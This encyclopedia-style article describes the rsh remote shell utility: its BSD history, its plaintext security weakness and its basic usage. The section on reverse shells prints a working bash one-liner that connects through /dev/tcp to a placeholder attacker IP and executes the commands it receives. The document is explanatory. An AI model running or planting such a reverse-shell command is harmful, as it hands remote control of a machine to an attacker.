Remote Shell
| Company type | Software program |
|---|---|
| Industry | Computer networking, Remote administration |
| Founded | 1983 |
| Headquarters | United States |
| Products | Remote shell command-line interface |
The remote shell (rsh) is a CLI computer program designed to run shell commands on a remote machine as a different user over a computer network. The remote host operates the rsh daemon (rshd), which commonly listens on TCP port 514.
History
The rsh utility was initially developed within the BSD Unix environment, introduced as part of the rlogin suite in 4.2BSD during 1983, alongside the rcp command. Since then, it has been adapted for various other operating systems. The rsh command name coincides with the UNIX restricted shell, usually found at /usr/bin/rsh on System V Release 4 systems.
As with other Berkeley r-commands, the rsh protocol lacks encryption, transmitting data—including passwords in some cases—in plaintext. Due to these security vulnerabilities, rsh has been largely superseded by the more secure ssh, even within local area networks.
Example
To create a directory named testdir as user remoteuser on the host host.example.com, use:
<syntaxhighlight lang="console"> $ rsh -l remoteuser host.example.com "mkdir testdir" </syntaxhighlight>
When no specific command is provided, rsh defaults to logging into the remote system via rlogin. The target host is resolved through the Domain Name System.
Installation
To install the rsh client using apt package manager:
<syntaxhighlight lang="console">
- apt-get install rsh-redone-client
</syntaxhighlight>
Bind shell and reverse shell
Remote shell sessions may be initiated either by a local machine issuing commands or by a remote machine executing them. The former scenario is known as a bind shell, while the latter is referred to as a reverse shell.
Reverse shells facilitate command execution on devices that are not directly reachable—such as those behind network address translation (NAT)—thus enabling remote management. Malicious actors sometimes exploit reverse shells to connect compromised systems back to their own machines in what is termed a "reverse shell attack." The example below demonstrates this technique:
<syntaxhighlight lang="console"> $ exec 5<>/dev/tcp/<attacker_IP>/80;cat <&5 | while read line; do \$line 2>&5 >&5; done </syntaxhighlight>
This command establishes a TCP connection to the attacker’s IP on port 80, continuously reads instructions from this connection, executes them, and returns the output—effectively granting the attacker remote shell control.
See also
References
- rsh - remote shell - rsh man page.